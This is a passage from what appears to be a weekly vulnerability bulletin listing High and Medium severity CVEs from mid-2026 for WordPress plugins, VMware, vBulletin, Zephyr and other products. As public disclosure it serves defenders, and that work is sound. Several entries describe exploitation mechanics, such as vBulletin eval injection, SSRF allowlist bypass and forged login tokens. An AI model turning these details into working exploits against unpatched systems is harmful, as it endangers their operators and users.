| tugcantopaloglu--openclaw-dashboard                                             | OpenClaw Dashboard contains a stored cross-site scripting vulnerability that allows unauthenticated remote attackers to execute arbitrary JavaScript in the administrator's browser session by injecting HTML markup into agent transcript messages processed through the sessions API. Attackers can craft a message containing inline event handler payloads such as an img tag with an onerror attribute within the 60-character rendering budget, which is stored in the session transcript and interpolated unsanitized into innerHTML on the default landing page, allowing theft of session tokens and unauthorized calls to authenticated administrative endpoints including agent instruction file modification.                                                                 | 2026-07-30 | 9.3        | <a href="#">CVE-2026-66421</a> |
| UMAI Vision--Traffic Analysis System                                            | Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in UMAI Vision Traffic Analysis System allows SQL Injection. This issue affects Traffic Analysis System: from 30 before 34.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-30 | 9.8        | <a href="#">CVE-2026-4978</a>  |
| umarbajwa--MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder | The MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Form Field Values in all versions up to, and including, 4.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                       | 2026-08-01 | 7.2        | <a href="#">CVE-2026-15052</a> |
| uncannyowl--Uncanny Automator Easy Automation, Integration,                     | The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 7.3.2 via the automator_google_contacts_fetch_labels, automator_mautic_segment_fetch, automator_mautic_tags_fetch, and automator_mautic_render_contact_fields AJAX actions due to a missing capability                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-28 | 7.5        | <a href="#">CVE-2026-15025</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Webhooks & Workflow Builder Plugin                           | check and missing nonce verification in the corresponding handlers (ajax_fetch_labels, segments_fetch, tags_fetch, and render_contact_fields). This makes it possible for authenticated attackers, with Subscriber-level access and above, to enumerate sensitive Google Contacts groups/labels and Mautic segments, tags, and contact-field definitions retrieved via integration credentials configured by an administrator, and to consume third-party API quota.                                                                                                                                                                                                                                                                                                                                                                                                               |            |            |                                |
| undici--undici                                               | undici's cache interceptor mishandles malformed Cache-Control private directives. In undici 7.0.0 up to before 7.29.0 and 8.0.0 up to before 8.9.0, a response carrying a degenerate qualified private directive, such as private set to an empty value, can be stored in the default shared cache and later served to a different caller with the same cache key, disclosing private response bodies and headers including Set-Cookie. Separately, a Cache-Control header that combines an unqualified private directive with a qualified one triggers an uncaught TypeError in the cache-control parser, which rejects the request and, depending on the consumer's error handling, can terminate the process. Both issues affect applications using the cache interceptor in shared mode, including the default configuration. The issues are fixed in undici 7.29.0 and 8.9.0. | 2026-07-29 | 7.4        | <a href="#">CVE-2026-13697</a> |
| Universal Software Inc.--UKBS                                | Missing authentication for critical function vulnerability in Universal Software Inc. UKBS allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects UKBS: through 28072026. NOTE: The vendor was contacted and it was learned that the product is not supported.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-28 | 8.8        | <a href="#">CVE-2026-7187</a>  |
| Vacron--VIN-DS783E-E6                                        | VIN-DS783E-E6 developed by Vacron has a Hidden Functionality vulnerability, allowing unauthenticated remote attackers to exploit a specific hidden function to obtain the administrator credentials of the device.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-29 | 9.8        | <a href="#">CVE-2026-18191</a> |
| vBulletin--vBulletin                                         | vBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contains an eval injection vulnerability in the vB5_Template_Runtime::runMaths() method within the template runtime that allows unauthenticated remote attackers to execute arbitrary PHP code by supplying crafted input through the pagenv[pagenum] parameter. Attackers can exploit the insufficiently restrictive regex filter by using phpfuck-style encoding with permitted characters to inject and execute arbitrary PHP code via the unauthenticated ajax/render template route without any authentication.                                                                                                                                                                                                                                                                                                             | 2026-07-27 | 9.8        | <a href="#">CVE-2026-61511</a> |
| vlang--v                                                     | V through 0.5.2, fixed in commit 85859f0, contains a server-side request forgery (SSRF) bypass vulnerability that allows attackers to circumvent host-based allowlists by exploiting a parser differential between net.urllib and net.http. Attackers can craft a URL containing a backslash in the authority section such that net.urlib.parse() extracts the trusted host for allowlist validation while net.http.get() normalizes the backslash and connects to the internal host, enabling access to internal network services that the allowlist was intended to block.                                                                                                                                                                                                                                                                                                       | 2026-07-29 | 8.6        | <a href="#">CVE-2026-67201</a> |
| VMware--Cloud Foundation                                     | VMware ESX contains an out-of-bounds write vulnerability in the VMXNET3 virtual network adapter. A malicious actor with local administrative privileges on a virtual machine with VMXNET3 virtual network adapter may exploit this issue to execute code on the host. Non VMXNET3 virtual adapters are not affected by this issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-30 | 9.3        | <a href="#">CVE-2026-47876</a> |
| VMware--Cloud Foundation                                     | VMware vCenter contains an authentication bypass vulnerability in the VMware Directory Service. A malicious actor with network access to vCenter may exploit this issue to bypass authentication and gain unauthorized access to the system.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-30 | 9.8        | <a href="#">CVE-2026-59309</a> |
| VMware--Cloud Foundation                                     | VMware vCenter contains a directory traversal vulnerability in the Syslog server. A malicious actor with network access to vCenter may exploit this issue to execute arbitrary code.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-30 | 9.8        | <a href="#">CVE-2026-59310</a> |
| VMware--Cloud Foundation                                     | VMware ESX, Workstation, and Fusion contain an out-of-bounds read vulnerability. A malicious actor with VM deployment privileges could trigger an out-of-bounds read, potentially leading to information disclosure or more likely a Denial-of-Service (DoS) condition of the host process. On Workstation and Fusion, the impact of this vulnerability is restricted to information disclosure.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-30 | 7.6        | <a href="#">CVE-2026-41703</a> |
| Wasiliy Strecker / ContestGallery developer--Contest Gallery | Unauthenticated Cross Site Scripting (XSS) in Contest Gallery <= 30.0.6 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65447</a> |
| webaways--NEX-Forms Ultimate Forms Plugin for WordPress      | The Nex Forms - Ultimate Form Builder - Lite plugin for WordPress is vulnerable to arbitrary file deletion via path traversal in versions up to, and including, 9.2.3. This is due to the delete_file() AJAX handler retrieving a file path from the database and passing it directly to unlink() with no validation (no realpath(), basename(), or allowlist check), combined with the insert_record() AJAX handler that lets the same authenticated user store an arbitrary value in the target 'location' column (wp_kses() only strips HTML tags and does not neutralize path traversal or absolute                                                                                                                                                                                                                                                                            | 2026-08-01 | 8.1        | <a href="#">CVE-2026-15450</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                           | paths). This makes it possible for authenticated attackers, with admin-level access and above, to delete arbitrary files on the affected site's server, including wp-config. When the plugin's user-level option is configured to something else, this may be exploitable with lower privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| WebPros--Plesk                                                                            | Improper neutralization in the Plesk XML-RPC API allows a remote authenticated low-privileged user to perform SQL injection and read arbitrary data from the Plesk database, leading to full compromise of the panel.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-30 | 9.9        | <a href="#">CVE-2026-58046</a> |
| webreinvent--vaahcms                                                                      | VaahCMS versions 2.0.0 through 2.3.4 contain a malicious obfuscated JavaScript payload embedded in the Blade template responsible for rendering security OTP emails, allowing remote attackers to execute unauthorized code in any browser that renders the affected email template with JavaScript enabled. The payload establishes a WebSocket connection to a hardcoded command-and-control endpoint, installs a password-field keylogger using MutationObserver to capture dynamically added inputs, scrapes WhatsApp Web DOM content, and accepts remote commands to redirect or overwrite the rendered page.                                                                                                                                                                                                                                                                                               | 2026-07-29 | 8.1        | <a href="#">CVE-2026-67595</a> |
| wedevs--StoreGrowth Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce | The StoreGrowth: Smart Sales Booster for WooCommerce   BOGO, Upsells, Direct Checkout, Quick View, Side Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'message_popup' parameter in all versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit is possible because the 'ajd_protected' nonce required by the create_popup handler is exposed to all unauthenticated frontend visitors via wp_localize_script under bogo_save_url.ajd_nonce, effectively bypassing the nonce-only access control.                                                                                                                                                                | 2026-07-28 | 7.2        | <a href="#">CVE-2026-13440</a> |
| Weidmueller Interface--PROCON-WEB SCADA                                                   | In PROCON-WEB SCADA the endpoint 'GetGridData' is not properly sanitized. This allows a remote unauthenticated attacker to execute arbitrary SQL commands.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 9.8        | <a href="#">CVE-2026-16462</a> |
| wolfcms--wolfcms                                                                          | Wolf CMS through 0.8.3.1 contains a remote code execution vulnerability in FileManagerController that allows authenticated attackers to create arbitrary PHP files by exploiting missing file extension validation in the create_file() and save() functions. Attackers with the file_manager_mkfile capability can write malicious PHP content into the web-accessible FILES_DIR directory and trigger execution by requesting the file over HTTP.                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 8.8        | <a href="#">CVE-2026-67206</a> |
| wolfcms--wolfcms                                                                          | Wolf CMS through 0.8.3.1 contains an authorization bypass vulnerability in BackupRestoreController that allows authenticated non-administrative users to access restricted backup functionality due to a PHP operator precedence flaw in the permission check expression. Attackers can exploit the incorrect evaluation of the access control expression to create, download, and restore backups without administrative privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-30 | 8.8        | <a href="#">CVE-2026-67207</a> |
| wordplus--Better Messages Chat Rooms, Group Chat, Private Messages & AI Chat Bots         | The Better Messages - Chat Rooms, Group Chat, Private Messages & AI Chat Bots plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_sticker function in all versions up to, and including, 2.15.19. This makes it possible for authenticated attackers, with administrator-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The prefix check intended to restrict deletion to the uploads directory can be bypassed by crafting a URL that begins with the legitimate uploads base URL but embeds ../traversal sequences in the path portion, as the normalize_sticker function only applies esc_url_raw(), which does not strip ../ sequences, allowing the traversal payload to be stored verbatim in WordPress options. | 2026-07-28 | 7.2        | <a href="#">CVE-2026-16585</a> |
| WordPress--WordPress-Coding Standards                                                     | WordPress Coding Standards is a set of PHP_CodeSniffer rules (sniffs) that enforce WordPress coding conventions. From 0.14.1 until 3.4.1, the WordPress.WP.EnqueueResourceParameters sniff (active in the WordPress and WordPress-Extra rulesets) reconstructed the \$ver argument passed to functions such as wp_enqueue_script() and ran it through eval() inside its is_falsy() method, so a maliciously crafted argument such as 'system'('id') would execute during a scan; as a result, running PHPCS with WordPressCS over untrusted PHP (for example a CI pipeline that lints pull requests, or a developer reviewing third-party code) could lead to arbitrary command execution on the scanning host. The WordPress-Core and WordPress-Docs rulesets are not affected. This issue is fixed in version 3.4.1.                                                                                           | 2026-07-28 | 8.6        | <a href="#">CVE-2026-45293</a> |
| WP Chill--Kali Forms                                                                      | Unauthenticated Cross Site Scripting (XSS) in Kali Forms <= 2.4.18 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65446</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| WP Media--BackWPup                                                                                  | Unauthenticated Cross Site Scripting (XSS) in BackWPup <= 5.7.4 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65443</a> |
| wpchill--Kali Forms Contact Form & Drag-and-Drop Builder                                            | The Kali Forms - Contact Form & Drag-and-Drop Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.20 via the <code>_save_data</code> function. This is due to insufficient validation of the 'thisPermalink' field value before it overwrites a trusted callable placeholder, allowing attacker-controlled strings to reach <code>call_user_func()</code> in <code>_save_data()</code> . This makes it possible for unauthenticated attackers to execute code on the server. Exploitation requires the target form to define a field with a name matching one of the reserved placeholder keys ('thisPermalink', 'entryCounter', or 'submission_link'), as <code>check_if_placeholders_changed()</code> only processes POST keys present in the form's <code>field_type_map</code> .                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-08-01 | 8.1        | <a href="#">CVE-2026-16144</a> |
| wpdevelop--Booking Calendar                                                                         | Unauthenticated Cross Site Scripting (XSS) in Booking Calendar <= 11.4.2 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-27 | 7.1        | <a href="#">CVE-2026-59558</a> |
| wpmanageninja--Fluent Forms Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder | The Fluent Forms - Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Name Field Nested 'password' Member in all versions up to, and including, 6.2.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-29 | 7.2        | <a href="#">CVE-2026-16655</a> |
| wpswings--Subscriptions for WooCommerce                                                             | The Subscriptions for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 2.0.0. This is due to the <code>'save_meta_boxes()'</code> function persisting the <code>'_wps_plan_user_role'</code> membership plan meta from <code>'\$_POST'</code> without an allowlist that excludes privileged roles - the only validations applied, <code>'sanitize_key()'</code> and <code>'wp_roles()-&gt;is_role()'</code> , both accept <code>'administrator'</code> as a valid value, and the UI's <code>'disabled'</code> attribute on the role dropdown is a client-side-only control trivially bypassed via DevTools or a direct POST request; additionally, because the <code>'wps_membership_plan'</code> custom post type is registered with <code>'capability_type' =&gt; 'post'</code> , any user who can edit posts satisfies the <code>'current_user_can('edit_post', \$post_id)'</code> guard in <code>'save_meta_boxes()'</code> . This makes it possible for authenticated attackers, with Contributor-level access and above, to escalate their privileges to Administrator by storing <code>'administrator'</code> as the role granted on membership acquisition, which the Pro companion plugin then applies via <code>'add_role()'</code> during membership lifecycle events. Successful exploitation requires the Subscriptions for WooCommerce Pro companion plugin to be active, as it is the component that reads the stored <code>'_wps_plan_user_role'</code> meta via <code>'get_post_meta()'</code> and calls <code>'add_role()'</code> to apply the role during membership lifecycle events. | 2026-08-01 | 8.8        | <a href="#">CVE-2026-15414</a> |
| wpswings--Subscriptions for WooCommerce                                                             | The Subscriptions for WooCommerce plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 2.0.0. This is due to the plugin not properly verifying that a user is authorized to perform an action via the <code>wps_sfw_install_plugin_configuration</code> AJAX handler. This makes it possible for authenticated attackers, with shop manager-level access and above, to install and activate arbitrary WordPress.org plugins.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-30 | 7.2        | <a href="#">CVE-2026-15397</a> |
| wpwax--FormGent Next-Gen AI Form Builder for WordPress with Multi-Step, Quizzes, Payments & More    | The FormGent plugin for WordPress is vulnerable to unauthorized arbitrary file deletion due to a missing capability check on the <code>/wp-json/formgent/responses/attachments</code> REST API endpoint in all versions up to, and including, 1.9.2 This is due to the REST API route being registered without any authentication middleware in <code>routes/rest/api.php</code> . This makes it possible for unauthenticated attackers to delete arbitrary files within the formgent uploads directory. Additionally, on Linux servers where the <code>wp-content/uploads/formgent</code> directory does not yet exist (the default state after plugin installation), the path traversal protection can be bypassed, enabling deletion of arbitrary files including <code>wp-config.php</code> which can lead to complete site takeover via a fresh WordPress installation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-08-01 | 9.1        | <a href="#">CVE-2026-3141</a>  |
| WPWeb--WooCommerce - Social Login                                                                   | The WooCommerce - Social Login plugin for WordPress is vulnerable to Authentication Bypass in all versions up to and including 2.8.7. This is due to the plugin's Apple login handler accepting the Apple <code>id_token</code> and decoding only its base64 payload without verifying the JWT signature against Apple's public keys or validating the issuer, audience, or expiry claims, combined with the security nonce required to invoke the login flow being publicly exposed to unauthenticated users via a localized JavaScript object on the login page. This makes it possible for unauthenticated attackers to log in as any existing WordPress user - including administrators - by supplying a forged <code>id_token</code> whose payload contains the target                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-08-01 | 9.8        | <a href="#">CVE-2026-8457</a>  |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | user's email address, as that email is used without any role exclusion to resolve a WordPress account and immediately issue an authenticated session for it.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |            |            |                                |
| Xendit--Xendit Payment    | Unauthenticated Broken Access Control in Xendit Payment <= 7.1.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-27 | 7.5        | <a href="#">CVE-2026-66473</a> |
| Xlight--Xlight FTP Server | Xlight FTP Server before 3.9.5 contains a pre-authentication heap buffer overflow vulnerability that allows remote unauthenticated attackers to write past the end of a heap buffer by sending a malformed SSH client identification string. A logic error in the recv loop's termination condition uses an incorrect OR operator where an AND operator is required, enabling exploitation on any SSH or SFTP connection before authentication occurs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-29 | 9.8        | <a href="#">CVE-2026-67191</a> |
| Xlight--Xlight FTP Server | Xlight FTP Server before 3.9.5 contains a pre-authentication stack buffer overflow vulnerability that allows unauthenticated attackers to corrupt stack memory by sending malformed SSH packets when a GCM cipher is negotiated. Attackers can craft packets with an unvalidated length field passed directly to the GCM decrypt function, overwriting the stack cookie and return address to potentially achieve remote code execution before any authentication occurs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-29 | 8.1        | <a href="#">CVE-2026-67192</a> |
| Ylianst--MeshCentral      | MeshCentral 1.1.21 contains a cross-site WebSocket hijacking protection bypass vulnerability that allows unauthenticated remote attackers to hijack authenticated administrator sessions by exploiting an unconditional early return in the CheckWebServerOriginName() function within webserver.js when self-signed certificates are in use. Attackers can open cross-origin WebSocket connections to any of the twelve WebSocket endpoints, send crafted action commands to exfiltrate the server sessionKey used to sign session cookies, forge session tokens as arbitrary users, and gain full remote control of all managed devices governed by the MeshCentral instance.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 8.8        | <a href="#">CVE-2026-66420</a> |
| yolanmees--Spikster       | Spikster through commit e1cdf8c contains a missing authentication vulnerability that allows unauthenticated remote attackers to access all API routes by exploiting the unattached Cipiauth middleware, which is registered but never applied to any route in the API routing configuration. Attackers can invoke approximately 50 unprotected API endpoints to enumerate and provision servers, reset root passwords, read and write arbitrary files on the host, and create database users.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-30 | 9.8        | <a href="#">CVE-2026-67594</a> |
| zephyrproject--zephyr     | The Zephyr Bluetooth GATT client CCC-write response handler gatt_write_ccc_rsp() in subsys/bluetooth/host/gatt.c invoked the application's params->subscribe() callback after it had already called params->notify(conn, params, NULL, 0). Per the public GATT API, a notify callback with NULL data is the documented signal that the subscription has terminated and the bt_gatt_subscribe_params struct may be freed or reused by the application; calling subscribe() on the struct afterwards is a use-after-free, including an indirect call through the freed params->subscribe function pointer. The error branch is remotely (adjacent) reachable: a Zephyr device acting as a GATT client that calls bt_gatt_subscribe() can be driven into this ordering when a connected GATT server peer answers the CCC write with an ATT Error Response (the peer-supplied error code flows through att_error_rsp -> att_handle_rsp into gatt_write_ccc_rsp). For applications that free or recycle subscription parameters in their notification-termination handler, this results in memory corruption, a crash (denial of service), or potentially attacker-influenced control flow. The fix reorders the handler so the subscribe() callback runs before the terminating notify(NULL) in both the error and unsubscribe paths.                                                                                                                           | 2026-07-31 | 7.6        | <a href="#">CVE-2026-10685</a> |
| zephyrproject--zephyr     | The OCPP 1.6 client in subsys/net/lib/ocpp parsed inbound WAMP RPC frames in parse_rpc_msg() (subsys/net/lib/ocpp/ocpp_j.c) using a hand-rolled helper, extract_string_field(), that copied the message's uid and action fields with strncpy(out_buf, token + 1, outlen - 1) and then scanned the result with strchr(out_buf, ""). Because strncpy does not NUL-terminate the destination when the source is at least outlen - 1 (127) bytes long, the subsequent strchr reads past the 128-byte destination buffer into adjacent stack memory; if a " byte is found beyond the buffer, a one-byte out-of-bounds NUL write also occurs. A related defect in extract_payload() runs strchr/strchr over the receive buffer, which may not be NUL-terminated when a maximal-length frame fills it. The parsed bytes come directly from the OCPP central-system server over a websocket: the reader thread fills recv_buf via websocket_recv_msg() and calls parse_rpc_msg() on each inbound DATA frame (subsys/net/lib/ocpp/ocpp.c). A malicious or compromised central server, or an on-path attacker (OCPP is commonly deployed over plain ws://), can send an RPC frame whose uid or action field is 127+ bytes with no closing quote, triggering the out-of-bounds access. The primary impact is a remotely triggerable denial of service: the unbounded scan can fault on an unmapped page, and the stray NUL write can corrupt adjacent stack state. The | 2026-08-02 | 7          | <a href="#">CVE-2026-10848</a> |

| High Vulnerabilities      |                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|                           | over-read data is not reflected to the peer, so disclosure is limited. The feature is EXPERIMENTAL and must be explicitly enabled (CONFIG_OCPP). The fix replaces the manual parser with the bounds-respecting json_mixed_arr_parse() and copies the extracted uid with an explicitly NUL-terminated buffer, eliminating both over-reads.                                                                                |            |            |                                |
| zip-lib--zip-lib          | Versions of the package zip-lib before 1.1.0 are vulnerable to Directory Traversal via the caching mechanism for path validation during the extraction process. An attacker can bypass security checks designed to prevent directory traversal. The intended security function, isOutsideTargetFolder, only checks and caches the path status when the initial directory symlink is created during the first extraction. | 2026-07-28 | 7.5        | <a href="#">CVE-2026-17524</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| 2coders--Mux Video Uploader                                                                     | The Mux Video Uploader plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.1.4 via the muxvideo_enqueue_settings_script. This makes it possible for authenticated attackers, with subscriber-level access and above, to extract sensitive data including Mux API credentials.                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-11 | 4.3        | <a href="#">CVE-2026-7544</a>  |
| actualbudget--actual                                                                            | Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0. | 2026-07-07 | 4.6        | <a href="#">CVE-2026-46672</a> |
| actualbudget--actual                                                                            | Actual is a local-first personal finance tool. Prior to 26.6.0, the GET /secret/:name endpoint in @actual-app/sync-server checks only that the caller has a valid session and does not verify the caller is an admin, while the sibling POST /secret/ handler enforces an admin check in OpenID mode. Any authenticated non-admin BASIC user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured, including simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds, and the gocardless secrets. This issue is fixed in version 26.6.0.                                                                                                                                                                                     | 2026-07-07 | 4.3        | <a href="#">CVE-2026-46700</a> |
| actualbudget--actual                                                                            | Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.                                                                                                            | 2026-07-07 | 4.2        | <a href="#">CVE-2026-50179</a> |
| acyba--AcyMailing An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress | The AcyMailing - An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'alignment' attribute in all versions up to, and including, 10.10.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                         | 2026-07-09 | 6.4        | <a href="#">CVE-2026-12170</a> |
| Adobe--DNG SDK                                                                                  | DNG SDK versions 1.7.1 2536 and earlier are affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-06 | 5.5        | <a href="#">CVE-2026-48267</a> |
